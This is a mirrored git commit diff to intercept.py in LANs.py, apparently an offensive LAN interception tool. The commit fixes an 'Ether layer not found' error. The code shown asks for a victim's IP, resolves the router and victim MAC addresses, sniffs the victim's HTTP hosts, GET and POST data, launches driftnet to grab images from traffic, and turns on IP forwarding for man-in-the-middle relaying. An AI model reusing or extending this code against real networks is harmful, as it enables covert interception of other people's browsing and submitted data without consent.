mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-11 23:57:07 -07:00
fixed error where sometimes it would say Ether layer not found
This commit is contained in:
parent
8b2cfb8c9a
commit
87849a4882
1 changed files with 99 additions and 105 deletions
28
intercept.py
28
intercept.py
|
@ -101,15 +101,6 @@ else:
|
||||||
victimIP = raw_input('\nType victim\'s IP: ')
|
victimIP = raw_input('\nType victim\'s IP: ')
|
||||||
print ''
|
print ''
|
||||||
|
|
||||||
print "[+] Active interface: " + interface
|
|
||||||
print "[+] Local IP: " + localIP
|
|
||||||
print "[+] Interface MAC: " + localMAC
|
|
||||||
print "[+] DHCP server: " + DHCPsrvr
|
|
||||||
print "[+] DNS server: " + DNSsrvr
|
|
||||||
print "[+] Local domain: " + local_domain
|
|
||||||
print "[+] Router IP: " + routerIP
|
|
||||||
print "[+] Client IP: " + victimIP
|
|
||||||
|
|
||||||
def originalMAC(ip):
|
def originalMAC(ip):
|
||||||
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
|
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
|
||||||
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
|
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
|
||||||
|
@ -126,8 +117,8 @@ def restore(routerIP, victimIP, routerMAC, victimMAC):
|
||||||
|
|
||||||
def URL(pkt):
|
def URL(pkt):
|
||||||
global host, get, post, url
|
global host, get, post, url
|
||||||
|
if pkt.haslayer(Raw) and pkt.haslayer(Ether):
|
||||||
if pkt.haslayer(Raw) and pkt[Ether].src == victimMAC:
|
if pkt[Ether].src == victimMAC:
|
||||||
pkt = repr(pkt[Raw].load)
|
pkt = repr(pkt[Raw].load)
|
||||||
try:
|
try:
|
||||||
headers, body = pkt.split(r"\r\n\r\n")
|
headers, body = pkt.split(r"\r\n\r\n")
|
||||||
|
@ -135,9 +126,6 @@ def URL(pkt):
|
||||||
headers = pkt
|
headers = pkt
|
||||||
body = ''
|
body = ''
|
||||||
|
|
||||||
#ADD HTML CHECKER THING HERE
|
|
||||||
|
|
||||||
|
|
||||||
header_lines = headers.split(r"\r\n")
|
header_lines = headers.split(r"\r\n")
|
||||||
for l in header_lines:
|
for l in header_lines:
|
||||||
searchHost = re.search('[Hh]ost: ', l)
|
searchHost = re.search('[Hh]ost: ', l)
|
||||||
|
@ -273,15 +261,21 @@ class driftnet(threading.Thread):
|
||||||
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
|
xterm = ['xterm', '-e', 'driftnet', '-i', '%s' % interface]
|
||||||
Popen(xterm, stdout=PIPE, stderr=DN)
|
Popen(xterm, stdout=PIPE, stderr=DN)
|
||||||
|
|
||||||
|
print "[+] Active interface: " + interface
|
||||||
|
print "[+] Local IP: " + localIP
|
||||||
|
print "[+] Interface MAC: " + localMAC
|
||||||
|
print "[+] DHCP server: " + DHCPsrvr
|
||||||
|
print "[+] DNS server: " + DNSsrvr
|
||||||
|
print "[+] Local domain: " + local_domain
|
||||||
|
print "[+] Router IP: " + routerIP
|
||||||
|
print "[+] Client IP: " + victimIP
|
||||||
try:
|
try:
|
||||||
routerMAC = originalMAC(routerIP)
|
routerMAC = originalMAC(routerIP)
|
||||||
print "[+] Router MAC: " + routerMAC
|
print "[+] Router MAC: " + routerMAC
|
||||||
victimMAC = originalMAC(victimIP)
|
victimMAC = originalMAC(victimIP)
|
||||||
print "[+] Victim MAC: " + victimMAC + "\n"
|
print "[+] Victim MAC: " + victimMAC
|
||||||
except:
|
except:
|
||||||
sys.exit("Could not get MAC addresses")
|
sys.exit("Could not get MAC addresses")
|
||||||
|
|
||||||
#Forward packets and flush iptables
|
|
||||||
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
|
ipfwd = Popen(['cat', '/proc/sys/net/ipv4/ip_forward'], stdout=PIPE, stderr=DN)
|
||||||
if not ipfwd.communicate()[0] == '1':
|
if not ipfwd.communicate()[0] == '1':
|
||||||
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
|
f = open('/proc/sys/net/ipv4/ip_forward', 'r+')
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue